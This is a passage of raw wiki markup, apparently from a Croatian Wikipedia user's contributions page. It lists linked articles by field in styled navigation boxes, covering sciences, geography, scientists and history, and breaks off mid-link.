background:#DF73FF; border:1px solid #702963; |groupstyle = text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |above= |group1 = Fizika |group1style = text-align:center; color:#6699CC; background:#73C2FB; border:1px solid #6699CC; |list1= [[Čvor (mjerna jedinica)]] • [[Veber]] • [[Kirchhoffovi zakoni spektroskopije]] • [[Kirchhoffovi zakoni]] • [[Paulijeva jednadžba]] • [[RIKEN]] • [[Laplaceov demon]] |group2 = Kemija |group2style = text-align:center; color:#800080; background:#C9A0DC; border:1px solid #800080; |list2= [[Eksploziv]] • [[Mendeljejevovi predviđeni elementi]] • [[Primordijski elementi]] • [[Arsenatna kiselina]] • [[Orsinijeva bomba]] |group3 = Biologija<br>Medicina |group3style = text-align:center; color:#01796F; background: #50C878; border:1px solid #01796F; |list3= {{Navbox subgroup | groupstyle = text-align:center; color:#01796F; background: #50C878; border:1px solid #01796F; |group1=Biologija |list1= [[Gušter]] • ''[[Bufo periglenes]]'' • ''[[Doryanthes excelsa]]'' • ''[[Varanus giganteus]]'' • ''[[Phyllopteryx]]'' • ''[[Callocephalon fimbriatum]]'' • ''[[Lycalopex vetulus]]'' • ''[[Bothrops insularis]]'' • ''[[Bletilla striata]]'' • [[Divovska sabljasta antilopa]] • ''[[Laniarius brauni]]'' • [[Pelorus Jack]] • [[Snareski pingvin]] • ''[[Agathis australis]]'' • ''[[Leiopelmatidae]]'' • [[Haastov orao]] • [[Srebrna paprat]] • [[Novozelandski dugorepi šišmiš]] • [[Sisavac iz Saint Bathansa]] • ''[[Icterus icterus]]'' • ''[[Cattleya mossiae]]'' • [[Kuprej]] • ''[[Sphaerocoryne affinis]]'' • [[Ruatanski aguti]] • ''[[Brachylophus]]'' • [[Plava otrovna žaba]] • [[Papilionanthe Miss Joaquim|''Papilionanthe'' Miss Joaquim]] |group2=Medicina |list2= [[Guillain-Barréov sindrom]] }} |group4 = Tehnologija |group4style = text-align:center; color:#B8860B; background:#DAA520; border:1px solid #B8860B; |list4= [[Metalurgija]] • [[Vatreno oružje]] {{Navbox subgroup | groupstyle = text-align:center; color:#B8860B; background:#DAA520; border:1px solid #B8860B; |group1=Računalna tehnologija |list1= [[Datoteka:LinkFA-star.png|14px]] [[Apple Inc.]] ([[Korisnik:Rjecina2|suradnja]]) • ''[[Crash Twinsanity]] • [[Sly 3: Honor Among Thieves]] • [[The Da Vinci Code (igra)|The Da Vinci Code]]'' • [[HOLMES2]] • [[Japanese Movie Database]] • [[Red Star OS]] }} |group5 = Geografija |group5style = text-align:center; color:#964B00; background:#E1A95F; border:1px solid #964B00; |list5= {{Navbox subgroup | groupstyle = text-align:center; color:#964B00; background:#E1A95F; border:1px solid #964B00; |group1=Država |list1= [[Datoteka:LinkFA-star.png|14px]] {{flag|Benin}} • [[Datoteka:LinkFA-star.png|14px]] {{flag|Estonija}} • [[Datoteka:LinkFA-star.png|14px]] {{flag|Fidži}} • [[Datoteka:LinkFA-star.png|14px]] {{flag|Francuska}} • [[Datoteka:LinkFA-star.png|14px]] {{flag|Honduras}} • [[Datoteka:LinkFA-star.png|14px]] {{flag|Kambodža}} • {{flag|Škotska}} • [[Datoteka:LinkFA-star.png|14px]] {{flag|Venezuela}} • [[Datoteka:LinkFA-star.png|14px]] {{flag|Surinam}} • [[Datoteka:LinkFA-star.png|14px]] {{flag|Sjeverna Koreja}} |group2=Naselja |list2= {{nowrap begin}} {{flagicon|ANG}} [[Benguela]]{{•w}} {{flagicon|ANG}} [[Cabinda (grad)|Cabinda]]{{•w}} {{flagicon|ANG}} [[Cambambe]]{{•w}} {{flagicon|ANG}} [[Cuito]]{{•w}} {{flagicon|ANG}} [[Huambo]]{{•w}} {{flagicon|ANG}} [[Lobito]]{{•w}} {{flagicon|ANG}} [[Lubango]]{{•w}} {{flagicon|ANG}} [[Lucapa]]{{•w}} {{flagicon|ANG}} [[Malanje]]{{•w}} {{flagicon|ANG}} [[Namibe]]{{•w}} {{flagicon|AUT}} [[Klosterneuburg]]{{•w}} {{flagicon|BEL}} [[Waterloo (Belgija)|Waterloo]]{{•w}} {{flagicon|BEN}} [[Parakou]]{{•w}} {{flagicon|BEN}} [[Djougou]]{{•w}} {{flagicon|BEN}} [[Bohicon]]{{•w}} {{flagicon|BEN}} [[Allada]]{{•w}} {{flagicon|BEN}} [[Kandi, Benin|Kandi]]{{•w}} {{flagicon|BEN}} [[Ouidah]]{{•w}} {{flagicon|BEN}} [[Abomey-Calavi]]{{•w}} {{flagicon|BEN}} [[Ganvié]]{{•w}} {{flagicon|ČEŠ}} [[Vratislavice]]{{•w}} {{flagicon|FIJ}} [[Labasa]]{{•w}} {{flagicon|FIJ}} [[Nadi]]{{•w}} {{flagicon|FIJ}} [[Nausori]]{{•w}} {{flagicon|FIJ}} [[Sigatoka]]{{•w}} {{flagicon|FRA}} [[Besançon]]{{•w}} {{flagicon|FRA}} [[Colombey-les-Deux-Églises]]{{•w}} {{flagicon|FRA}} [[Jœuf]]{{•w}} {{flagicon|FRA}} [[Mérignac]]{{•w}} {{flagicon|FRA}} [[Vichy]]{{•w}} {{flagicon|GAN}} [[Ho, Gana|Ho]]{{•w}} {{flagicon|GAN}} [[Kumasi]]{{•w}} {{flagicon|GAN}} [[Sekondi-Takoradi]]{{•w}} {{flagicon|GAN}} [[Tema, Gana|Tema]]{{•w}} {{flagicon|HON}} [[Trujillo, Honduras|Trujillo]]{{•w}} {{flagicon|ITA}} [[Caprese Michelangelo]]{{•w}} {{flagicon|JAP}} [[Nabari]]{{•w}} {{flagicon|JAP}} [[Satoshō]]{{•w}} {{flagicon|Kambodža}} [[Kampong Cham]]{{•w}} {{flagicon|Kambodža}} [[Sihanoukville]]{{•w}} {{flagicon|Kambodža}} [[Battambang]]{{•w}} {{flagicon|Kambodža}} [[Siem Reap]]{{•w}} {{flagicon|Kambodža}} [[Poipet]]{{•w}} {{flagicon|CRC}} [[San José, Kostarika|San José]]{{•w}} {{flagicon|CRC}} [[Ujarrás]]{{•w}} {{flagicon|KUB}} [[Baracoa]]{{•w}} {{flagicon|KUB}} [[Bayamo]]{{•w}} {{flagicon|KUB}} [[Cienfuegos]]{{•w}} {{flagicon|KUB}} [[Guantánamo]]{{•w}} {{flagicon|KUB}} [[Las Tunas (grad)|Las Tunas]]{{•w}} {{flagicon|KUB}} [[Manzanillo, Kuba|Manzanillo]]{{•w}} {{flagicon|KUB}} [[Pinar del Río]]{{•w}} {{flagicon|KUB}} [[Puerto Padre]] {{•w}} {{flagicon|KUB}} [[Santa Clara, Kuba|Santa Clara]]{{•w}} {{flagicon|NIZ}} [[Voorhout]]{{•w}} {{flagicon|NZL}} [[Dunedin]]{{•w}} {{flagicon|NZL}} [[Nelson, Novi Zeland|Nelson]]{{•w}} {{flagicon|NZL}} [[Waitangi, Northland|Waitangi]]{{•w}} {{flagicon|RUS}} [[Oranienbaum]]{{•w}} {{flagicon|SIN}} [[Bedok]]{{•w}} {{flagicon|SJKOR}} [[Ch'ŏngjin]]{{•w}} {{flagicon|SJKOR}} [[Hamhŭng]]{{•w}} {{flagicon|SJKOR}} [[Namp'o]]{{•w}} {{flagicon|SJKOR}} [[P'anmunjŏm]]{{•w}} {{flagicon|SJKOR}} [[Rasŏn]]{{•w}} {{flagicon|SJKOR}} [[Sinŭiju]]{{•w}} {{flagicon|SJKOR}} [[Wŏnsan]]{{•w}} {{flagicon|SUR}} [[Moiwana]] {{nowrap end}} |group3=Ostalo |list3= {{Navbox subgroup | groupstyle = text-align:center; color:#964B00; background:#E1A95F; border:1px solid #964B00; |group1 = Administracija |list1 = [[Uljanovska oblast]] • [[Provincije Kostarike]] • [[Regioni Francuske]] • [[:Kategorija:Provincije Sjeverne Koreje|Provincije Sjeverne Koreje]] • [[Cabinda (provincija)]] • [[Rossov zavisni teritorij]] • [[Kraljevstvo Novi Zeland]] • [[Regije Novog Zelanda]] ([[Tasman (distrikt)|Tasman]] • [[Otago (regija)|Otago]] • [[Marlborough (regija)|Marlborough]] • [[Southland (regija)|Southland]] • [[Canterbury (regija, Novi Zeland)|Canterbury]] • [[West Coast (regija)|West Coast]]) • [[Scottova baza]] • [[Savezni teritoriji Venezuele]] • [[Obala komaraca]] • [[Departmani Benina]] |group2 = Otoci<br>Poluotoci |list2 = [[Iwo Jima]] • [[Ilha da Queimada Grande]] • [[Isla de la Juventud]] • [[Kermadecovi otoci]] • [[Los Roques (arhipelag)]] • [[Margaritin otok]] • [[Koh Kong (otok)|Koh Kong]] • [[Baia dos Tigres]] • [[Tigrov otok]] • [[Labuđi otoci]] • [[Viti Levu]] • [[Vanua Levu]] • [[Ceva-I-Ra]] • [[Koro (otok)|Koro]] • [[Kadavu]] • [[Taveuni]] • [[Rotuma]] • [[Uea]] • [[Bau (otok)|Bau]] • [[Naissaar]] • [[Pulau Ujong]] • [[Pedra Branca (Singapur)]] |group3 = Hidrologija |list3 = [[Arenal]] • [[Crvena Volta (rijeka)|Crvena Volta]] • [[Jezero Bosumtwi|Bosumtwi]] • [[Cascade de Gavarnie]] • [[Parnaíba (rijeka)|Parnaíba]] • [[Taedong]] • [[Korejski zaljev]] • [[Istočnokorejski zaljev]] • [[Tumen (rijeka)|Tumen]] • [[Rajsko jezero]] • [[Laguna de Leche]] • [[Zaljev Guantánamo]] • [[Cookov prolaz]] • [[Slapovi Calandula]] • [[Waikato (rijeka)|Waikato]] • [[Rotorua (jezero)|Rotorua]] • [[Tonlé Sap]] • [[Kwanza]] • [[Cunene]] • [[Lucala]] • [[Sangkae]] • [[Río Coco]] • [[Honduraški zaljev]] • [[Aguán]] • [[Ouémé (rijeka)|Ouémé]] • [[Oti (rijeka)|Oti]] • [[Beninski zaljev]] • [[Couffo (rijeka)|Couffo]] • [[Zou (rijeka)|Zou]] • [[Rewa (rijeka)|Rewa]] • [[Sigatoka (rijeka)|Sigatoka]] • [[Bligh Water]] • [[Valaste (vodopad)]] |group4 = Geologija |list4 = [[Mount Afadjato]] • [[Irazú]] • [[Pico da Neblina]] • [[Sierra Maestra]] • [[Serra da Chela]] • [[Mount Earnslaw]] • [[Južne Alpe]] • [[Pico Bolívar]] • [[Pico Humboldt]] • [[Pico Bonpland]] • [[Roraima (tepui)|Roraima]] • [[Kukenán (tepui)|Kukenán]] • [[Phnom Aural]] • [[Kardamonske planine]] • [[Slonovske planine]] • [[Phnom Kulen]] • [[Morro do Moco]] • [[Cerro Las Minas]] • [[Atakora (planinski lanac)|Atakora]] • [[Mont Sokbaro]] • [[Mont Agou]] • [[Mount Tomanivi]] • [[Van Asch Van Wijck (planinski lanac)]] |group5 = Ostalo |list5 = [[Park Ueno]] • ''[[Outback]]'' • [[Skijalište Masikryong]] • [[Pjongjanško vrijeme]] • [[Močvara Zapata]] • [[Park Johna Lennona]] • ''[[Lluvia de peces]]'' • [[Koraljna obala (Fidži)]] • [[Vanalinn]] • [[Singapurska luka]] }} }} |below= }} ===Znanstvenici=== {{Navbox generic |titlestyle = text-align:center; color:#808080; background: #DCDCDC; border:1px solid #808080; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi vezani uz znanstvenike |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:#702963;background:#DF73FF; border:1px solid #702963; |belowstyle= text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |groupstyle = text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |above= |group1 = Fizičari |group1style = text-align:center; color:#6699CC; background:#73C2FB; border:1px solid #6699CC; |list1= [[Antoine Henri Becquerel]] • [[Heinrich Rudolf Hertz]] • [[Carl Hellmuth Hertz]] • [[Gustav Ludwig Hertz]] • [[Michael Faraday]] • [[Wilhelm Conrad Röntgen]] • [[Gerardus 't Hooft]] • [[Max Born]] • [[Edward Teller]] • [[Charles-Augustin de Coulomb]] • [[Joseph Henry]] • [[Wilhelm Eduard Weber]] • [[Lise Meitner]] • [[Gustav Robert Kirchhoff]] • [[Igor Kurčatov]] • [[Evangelista Torricelli]] • [[Erwin Schrödinger]] • [[Albert Einstein]] • [[Louis de Broglie]] • [[Wolfgang Pauli]] • [[Jean Baptiste Perrin]] • [[Arthur Holly Compton]] • [[Owen Willans Richardson]] • [[Čandrasekara Venkata Raman]] • [[Charles Thomson Rees Wilson]] • [[Carl David Anderson]] • [[George Paget Thomson]] • [[Victor Franz Hess]] • [[Isidor Isaac Rabi]] • [[Clinton Joseph Davisson]] • [[Aleksandar Prohorov]] • [[Henri Poincaré]] • [[Hideki Yukawa]] • [[Shin'ichirō Tomonaga]] • [[Joshio Nishina]] • [[William Lawrence Bragg]] • [[Brian Schmidt]] • [[William Henry Bragg]] • [[Mark Oliphant]] • [[Jean d'Alembert]] • [[Abdus Salam]] |group2 = Kemičari |group2style = text-align:center; color:#800080; background:#C9A0DC; border:1px solid #800080; |list2= [[Dmitrij Mendeljejev]] • [[Pierre Curie]] • [[Henry Cavendish]] • [[William Ramsay]] • [[Francis William Aston]] • [[Adolf von Baeyer]] • [[Eduard Buchner]] • [[Jacobus Henricus van 't Hoff]] • [[Henri Moissan]] • [[John Warcup Cornforth]] • [[Alan MacDiarmid]] • [[Glenn T. Seaborg]] |group3 = Liječnici |group3style = text-align:center; color:#01796F; background: #50C878; border:1px solid #01796F; |list3= [[Alexander Fleming]] • [[Hakaru Hashimoto]] • [[Tomisaku Kawasaki]] • [[Mikito Takajasu]] • [[Hidejo Noguchi]] • [[Kitasato Shibasaburō]] • [[Howard Florey]] • [[Robin Warren]] • [[Barry J. Marshall]] • [[Elizabeth Blackburn]] • [[Peter C. Doherty]] • [[Frank Macfarlane Burnet]] • [[John Carew Eccles]] • [[Dominique-Jean Larrey]] • [[Carlos Chagas]] • [[Sergej Korsakov]] • [[Arístides Agramonte]] • [[Carlos Finlay]] • [[John Marshall Macdonald]] • [[Baruj Benacerraf]] • [[Jacinto Convit]] • [[Salvador Moncada]] • [[Friedrich Robert Faehlmann]] • [[Jean Itard]] • [[Georges Mathé]] |group4 = Izumitelji |group4style = text-align:center; color:#B8860B; background:#DAA520; border:1px solid #B8860B; |list4= [[Ferdinand Porsche]] • [[André Citroën]] • [[Gottlieb Daimler]] • [[Eli Whitney]] • [[Humberto Fernández-Morán]] |group5 = Geografi |group5style = text-align:center; color:#964B00; background:#E1A95F; border:1px solid #964B00; |list5= [[Vladimir Tagancev]] |below= }} ==Društvene znanosti== ===Općenito=== {{Navbox generic |titlestyle = text-align:center; color:#808080; background: #DCDCDC; border:1px solid #808080; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi vezani uz društvene znanosti |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:#702963;background:#DF73FF; border:1px solid #702963; |belowstyle= text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |groupstyle = text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |above= |group1 = Povijest |group1style = text-align:center; color:#800000; background:#C19A6B; border:1px solid #800000; |list1= [[Povijest Europe]] (nedovršeno) {{Navbox subgroup | groupstyle = text-align:center; color:#800000; background:#C19A6B; border:1px solid #800000; |group1 = pre-XX vijek. |list1 = [[Banket kestenja]] • [[Osmanski interegnum]] • [[Šogunat Tokugawa]] • [[Kultura Diquis]] • [[Zlatna Obala (danska kolonija)]] • [[Zlatna Obala (portugalska kolonija)]] • [[Zlatna Obala (švedska kolonija)]] • [[Zlatna Obala (nizozemska kolonija)]] • [[Bushrangeri]] • [[Plesna epidemija iz 1518.]] • [[Edikt iz Nantesa]] • [[Edikt iz Fontainebleaua]] • [[Kolonijalni Brazil]] • [[Generalna kapetanija Kuba]] • [[Guvernorat Kuba]] • [[Loango-Angola]] • [[Provincija Venezuela]] • ''[[Klein-Venedig]]'' • [[Funan]] • [[Mračno doba (Kambodža)]] • [[Longvek]] • [[Generalna kapetanija Gvatemala]] • [[Podzemni grad Agongointo-Zoungoudo]] • [[Obala robova]] • [[Kraljevstvo Dahomej]] • [[Carstvo Oyo]] • [[Kralj Dahomeja]] • [[Dahomejski godišnji običaji]] • [[Društvo za Surinam]] • [[Invazija Surinama (1667)|Invazija Surinama]] • [[Napad na Fort Zeelandiju (1667)|Napad na Fort Zeelandiju]] • [[Kraljevina Singapura]] • ''[[Malajski anali]]'' • [[Temasek]] • [[Grčko herojsko doba]] {{Navbox subgroup | groupstyle = text-align:center; color:#800000; background:#C19A6B; border:1px solid #800000; |group1 = XVIII. vijek |list1 = [[Savjet drevnih]] • [[Prva Francuska Republika]] • [[Konzulat (Francuska)]] • [[Direktorij (Francuska)]] • [[Komitet javnog spasa]] • [[Jakobinska diktatura]] • [[Termidorska reakcija]] • [[Puč 18. brumairea]] • [[Žirondinci]] • [[Septembarski masakri]] • [[Bijeg u Varennes]] • [[Žirondinski ustavni projekt]] • [[Kraljevstvo Francuska (1791-1792)]] • [[Prva industrijska revolucija]] • [[Vicekraljevstvo Nova Granada]] • [[Generalna kapetanija Venezuela]] • ''[[Kambodžanske kraljevske kronike]]'' |group2 = XIX. vijek |list2 = [[Posvećenje Napoleona I]] • [[Kraljevina Holandija]] • [[Kraljevina Vestfalija]] • [[Burbonska restauracija]] • [[Druga industrijska revolucija]] • [[Monroeova doktrina]] • [[Zlatna Obala (britanska kolonija)]] • [[Pobuna u Eureki]] • [[Julska Monarhija]] • [[Francuska revolucija 1848.]] • [[Druga Francuska Republika]] • [[Dani lipnja]] • [[Predsjednički izbori u Francuskoj 1848.]] • [[Francuski ustavni referendum 1851.]] • [[Referendum o Drugom Francuskom Carstvu 1852.]] • [[Pariški sporazum (1856)]] • [[Pariški kongres (1856)]] • [[Orsinijev atentat]] • [[Bitka kod Sedana (1870)]] • [[Treća Francuska Republika]] • [[Suđenje tridesetorici]] • [[Kriza 16. svibnja 1877.]] • [[Panamski skandali]] • [[Tonkinska afera]] • [[Protektorat Annam]] • [[Kočinkina]] • [[Zastupnički dom (Francuska)]] • [[Predstavnički dom (Francuska)]] • [[Incident u Fashodi]] • [[Predsjednički izbori u Brazilu 1891.]] • [[Ujedinjeno Kraljevstvo Portugala, Brazila i Algarva]] • [[Kraljevina Brazil]] • [[Nezavisnost Brazila]] • [[Brazilsko Carstvo]] • [[Brazilski rat za nezavisnost]] • [[Prva Brazilska Republika]] • [[Desetogodišnji rat]] • [[Mali rat (Kuba)]] • [[Kubanski rat za nezavisnost]] • [[Američka vojna uprava na Kubi]] • [[Tellerov amandman]] • [[Pariški sporazum (1898)]] • [[Novi Zeland (kolonija)]] • [[Ratovi mušketa]] • [[Novozelandski ratovi]] • [[Sewellovo ministarstvo (1856.)]] • [[Vrhovna hunta]] • [[Prva Venezuelanska Republika]] • [[Venezuelanski rat za nezavisnost]] ([[Bitka na jezeru Maracaibo]]) • [[Druga Venezuelanska Republika]] • [[Manifest iz Cartagene]] • [[Divna kampanja]] • [[Dekret o ratu do smrti]] • [[Treća Venezuelanska Republika]] • [[Kongres u Angosturi]] • [[Datoteka:LinkFA-star.png|14px]] [[Velika Kolumbija]] • [[Država Venezuela]] • [[Savezni rat]] • [[Sjedinjene Države Venezuele]] • [[Venezuelanska kriza (1895)]] • [[Francuski protektorat u Kambodži]] • [[Tonkin (francuski protektorat)]] • [[Comayagua (provincija)]] • [[Državni udar u Hondurasu 1827.]] • [[Prvi francusko-dahomejski rat]] • [[Drugi francusko-dahomejski rat]] • [[Francuski Dahomej]] • [[Datoteka:LinkFA-star.png|14px]] [[Francuska Zapadna Afrika]] • [[Kraljevstvo Fidži]] • [[Fidži (kolonija)]] • ''[[Ärkamisaeg]]'' • [[Singapurski sporazum 1819.]] • [[Datoteka:LinkFA-star.png|14px]] [[Tjesnačka naselja]] • [[Anglo-nizozemski sporazum (1824)]] |group3 = XX. vijek<br>(do 1914.) |list3 = [[Plattov amandman]] • [[Republika Kuba (1902–1959)]] • [[Pacifikacija Kube]] • [[Novi Zeland (dominion)]] • [[Venezuelanska kriza (1902–1903)]] • [[Nizozemsko-venezuelanski rat]] }} |group2 = Prvi svjetski rat<br>(1914. - 1918.) |list2 = {{Navbox subgroup | groupstyle = text-align:center; color:#800000; background:#C19A6B; border:1px solid #800000; |group1 = Općenito |list1 = [[Prvi svjetski rat]] • [[Središnje sile]] |group2 = Bitke |list2 = [[Bitka kod Tannenberga (1914.)|Bitka kod Tannenberga]] • [[Cerska bitka]] • [[Kolubarska bitka]] • [[Ofenziva od 100 dana]] • [[Druga bitka na Marni]] • [[Ofenziva Meuse-Argonne]] • [[Bitka na granicama]] • [[Nivelleova ofenziva]] • [[Bitka kod grebena Vimy]] |group3 = Ostalo |list3 = [[Sarajevski atentat]] • [[Oktobarska revolucija]] • [[Mir u Brest-Litovsku]] • [[Ruska revolucija (1917.)|Ruska revolucija 1917.]] • [[Britanski Togoland]] • ''[[Entente Cordiale]]'' • [[Francusko-ruska alijansa]] • [[Anglo-ruska antanta]] • [[Sovjetska Republika Naissaar]] • [[Manifest narodā Estonije]] • [[Njemačka okupacija Estonije u Prvom svjetskom ratu]] • [[Singapurska pobuna 1915.]] }} |group3 = Međuratno razdoblje<br>(1918. - 1939.) |list3 = [[Pariška mirovna konferencija 1919.]] • [[Münchenski sporazum]] • [[Abdikacijska kriza]] • [[Ugovori iz Locarna]] • [[Briand-Cerettijev sporazum]] • [[Briand-Kelloggov pakt]] • [[Kriza 6. veljače 1934.]] • [[Predsjednički izbori u Brazilu 1930.]] • [[Brazilska revolucija 1930.]] • [[Privremena vojna junta (1930)]] • [[Vargasova era]] • [[Pentarhija iz 1933.]] • [[Datoteka:LinkFA-star.png|14px]] [[Estonski rat za nezavisnost]] • [[Estonska radnička komuna]] • [[Rusko-estonski sporazum iz Tartua]] • [[Vaps (pokret)]] • [[Pokušaj državnog udara u Estoniji 1924.]] • [[Suđenje 149-orki]] • [[Baltička antanta]] • [[Doba šutnje]] |group4 = Drugi svjetski rat<br>(1939. - 1945.) |list4 = {{Navbox subgroup | groupstyle = text-align:center; color:#800000; background:#C19A6B; border:1px solid #800000; |group1 = Općenito |list1 = [[Drugi svjetski rat]] • [[Uzroci Drugog svjetskog rata]] • [[Saveznici]] • [[Sile Osovine]] • [[Posljedice Drugog svjetskog rata]] |group2 = Bitke |list2 = [[Operacija Bagration]] • [[Bitka za Francusku]] • [[Bitka kod La Plate]] • [[Saveznička invazija Sicilije]] • [[Operacija Anton|Operacija ''Anton'']] • [[Operacija Dragoon|Operacija ''Dragoon'']] • [[Praški ustanak]] • [[Ljetni rat]] • [[Bitka za Singapur]] • [[Operacija Jaywick|Operacija ''Jaywick'']] • [[Bombardiranje Singapura (1944–1945)]] • [[Bombardiranje Singapura (1941)]] • [[Operacija Tiderace|Operacija ''Tiderace'']] • [[Operacija Struggle|Operacija ''Struggle'']] |group3 = Ostalo |list3 = [[Schindlerovi židovi]] • [[Hitlerov pozdrav]] • [[Operacija Valkira]] • [[Vichyevska Francuska]] • [[Republika Slovačka (1939. - 1945.)]] • [[Riomski proces]] • [[Glasovanje o delegaciji punih ustavnih ovlasti Philippeu Pétainu]] • [[Njemačka vojna uprava u Belgiji i sjevernoj Francuskoj]] • [[Njemačka vojna uprava u okupiranoj Francuskoj]] • ''[[Militärverwaltung]]'' • [[Slobodna Francuska]] • [[Apel 18. juna]] • [[Privremena vlada Francuske Republike]] • [[Čehoslovačka vlada u egzilu]] • [[Datoteka:LinkFA-star.png|14px]] [[Benešovi dekreti]] • [[Japanska okupacija Kambodže]] • [[Njemačka okupacija Estonije u Drugom svjetskom ratu]] • ''[[Generalbezirk Estland]]'' • [[Estonska samouprava]] • [[Reichskommissariat Ostland|''Reichskommissariat'' Ostland]] • [[Bijeg podmornice Orzeł|Bijeg podmornice ''Orzeł'']] • [[Shōnan-tō]] • [[Datoteka:LinkFA-star.png|14px]] [[Sook Ching]] • [[Sōjūsetsu incident]] • [[Operacija Gustavus|Operacija ''Gustavus'']] • [[Operacija Zipper|Operacija ''Zipper'']] • [[Britanska vojna uprava (Malaja)]] }} |group5 = Hladni rat<br>(1945. - 1991.) |list5 = [[Datoteka:LinkFA-star.png|14px]] [[Hladni rat]] • [[Elizejski ugovor]] • [[Nixonov posjet Kini 1972.]] • [[Angolski građanski rat]] • [[Trumanova doktrina]] • [[Socijalistička Republika Rumunjska]] • [[Datoteka:LinkFA-star.png|14px]] [[Demokratska Kampućija]] • [[Zapadna Njemačka]] • [[Kostarikanski građanski rat]] • [[Gana (krunska zemlja)]] • [[Neredi u Accri 1948.]] • [[Velika šestorica (Gana)]] • [[Politika bijele Australije]] • [[Ustavna kriza u Australiji 1975.]] • [[Četvrta Francuska Republika]] • [[Peta Francuska Republika]] • [[Maj 1968]] • [[Druga Brazilska Republika]] • [[Državni udar u Brazilu 1964.]] • [[Vojna diktatura u Brazilu]] • [[Brazilska vojna hunta (1969)]] • [[Narodna Republika Koreja]] • [[Sovjetska civilna uprava]] • [[Privremeni narodni komitet za Sjevernu Koreju]] • [[Korejska demilitarizirana zona]] • [[Bitka za Incheon]] • [[Operacija Pokpoong]] • [[Podjela Koreje]] • [[Korejski sporazum o primirju]] • [[Bombaški napad u Rangoonu]] • [[Ubojstva sjekirom u P'anmunjŏmu]] • [[Kasarne Moncada]] • [[Operacija Mongoose]] • [[Operacija Northwoods]] • [[Cubana de Aviación let 455]] • [[Narodna Republika Angola]] • [[Demokratska Narodna Republika Angola]] • [[Republika Cabinda]] • [[Angolski rat za nezavisnost]] • [[Alvorski sporazum]] • [[Češka i Slovačka Federativna Republika]] • [[ANZUS]] • [[Paktomanija]] • ''[[El Trienio Adeco]]'' • [[Četvrta Venezuelanska Republika]] • [[Pakt iz Puntofija]] • [[Državni udar u Venezueli 1958.]] • [[Državni udar u Venezueli 1945.]] • [[Francuska unija]] • [[Francuska zajednica]] • [[Kraljevina Kambodža (1953–1970)]] • [[Bangkoška zavjera]] • [[Operacija Menu]] • [[Operacija Freedom Deal]] • [[Državni udar u Kambodži 1970.]] • [[Kmerska Republika]] • [[Predsjednički izbori u Kambodži 1972.]] • [[Predstavnička skupština kampućijskog naroda]] • [[Santebal]] • [[Datoteka:LinkFA-star.png|14px]] [[Kambodžanski genocid]] ([[Kambodžanska polja smrti]] • [[Drvo smrti]] • [[Choeung Ek]] • [[Masakr u Ba Chúcu]]) • [[Narodna Republika Kampućija]] • [[Plan K5]] • [[Država Kambodža]] • [[Kambodžansko-vijetnamski rat]] • [[Koalicijska vlada Demokratske Kampućije]] • [[Pariški mirovni sporazum (1991)]] • [[Državni udar u Hondurasu 1963.]] • [[Državni udar u Hondurasu 1975.]] • [[Honduraška vojna hunta (1956–1957)]] • [[Datoteka:LinkFA-star.png|14px]] [[Fudbalski rat]] • [[Sahelsko-beninska unija]] • [[Republika Dahomej]] • [[Državni udar u Dahomeju 1963.]] • [[Predsjedničko vijeće (Dahomej)]] • [[Predsjednički izbori u Dahomeju 1970.]] • [[Državni udar u Dahomeju 1972.]] • [[Narodna Republika Benin]] • [[Pokušaj državnog udara u Beninu 1977.]] • [[Fidži (dominion)]] • [[Državni udari na Fidžiju 1987.]] • [[Operacija Morris Dance]] • [[Datoteka:LinkFA-star.png|14px]] [[Estonska vlada u egzilu]] • [[Deklaracija suvereniteta Estonske SSR]] • [[Datoteka:LinkFA-star.png|14px]] [[Raspjevana revolucija]] • [[Fosforitni rat]] • [[Pismo četrdesetorice]] • [[Surinam (Kraljevina Nizozemska)]] • [[Državni udar u Surinamu 1980.]] • [[Nacionalni vojni savjet (Surinam)]] • [[Decembarska ubojstva]] • [[Surinamski unutrašnji rat]] • [[Masakr u Moiwani]] • [[Državni udar u Surinamu 1990.]] • [[Singapur (kolonija)]] • [[Singapur (savezna država)]] • [[Malezijski sporazum]] • [[Sporazum o nezavisnosti Singapura (1965)]] • [[Proglašenje Singapura]] • [[Referendum o integraciji Singapura 1962.]] • [[Izvanredno stanje u Poljskoj]] |group6 = 1990-e<br>XXI. vijek |list6 = [[Crno proljeće (Kuba)]] • [[Opći izbori u Angoli 1992.]] • [[Masakr na Noć vještica]] • [[Pokušaji državnih udara u Venezuel 1992.]] • [[Bolivarska revolucija]] • [[Pokušaj državnog udara u Venezueli 2002.]] • [[Prijelazna uprava Ujedinjenih nacija u Kambodži|UNTAC]] • [[Privremena vlada nacionalnog jedinstva i nacionalnog spasa Kambodže]] • [[Ustavna kriza u Hondurasu 2009.]] • [[Državni udar u Hondurasu 2009.]] • [[UTAGE let 141]] • [[Državni udar na Fidžiju 2000.]] • [[Državni udar na Fidžiju 2006.]] • [[Prosvjedi u Surinamu 1999.]] }} |group2 = Pravo<br>Kriminologija |group2style = text-align:center; color:black; background:silver; border:1px solid black; |list2= [[Scotland Yard]] • [[Old Bailey]] • ''[[Volksgerichtshof]]'' • [[Vrhovni sud Kostarike]] • [[Vrhovni sud Gane]] • [[Ustav Australije]] • [[Ustav Gane]] • [[Ustav Francuske (1791)]] • [[Ustav Francuske (1793)]] • [[Ustav Francuske (1795)]] • [[Ustav Francuske (1799)]] • [[Ustav Francuske (1802)]] • [[Ustav Francuske (1804)]] • [[Povelja iz 1814.]] • [[Dopunski akt ustavima Prvog Carstva]] • [[Povelja iz 1830.]] • [[Ustav Francuske (1848)]] • [[Ustav Francuske (1852)]] • [[Francuski ustavni zakoni (1875)]] • [[Ferryjevi zakoni]] • [[Francuski ustavni zakon (1940)]] • [[Francuski ustavni zakon (1945)]] • [[Ustav Francuske (1946)]] • [[Ustav Francuske]] • [[Ustav Brazila]] • [[Ustav Sjeverne Koreje]] • [[Ustav Kube]] • [[Bustamanteov kodeks]] • [[Ustav Angole]] • [[Ustavni sud (Češka)]] • [[Macdonaldova trijada]] • [[Vrhovni sud Novog Zelanda]] • [[Ustav Novog Zelanda]] • [[Panoptikon]] • [[Deklaracija nezavisnosti Novog Zelanda]] • [[Sporazum iz 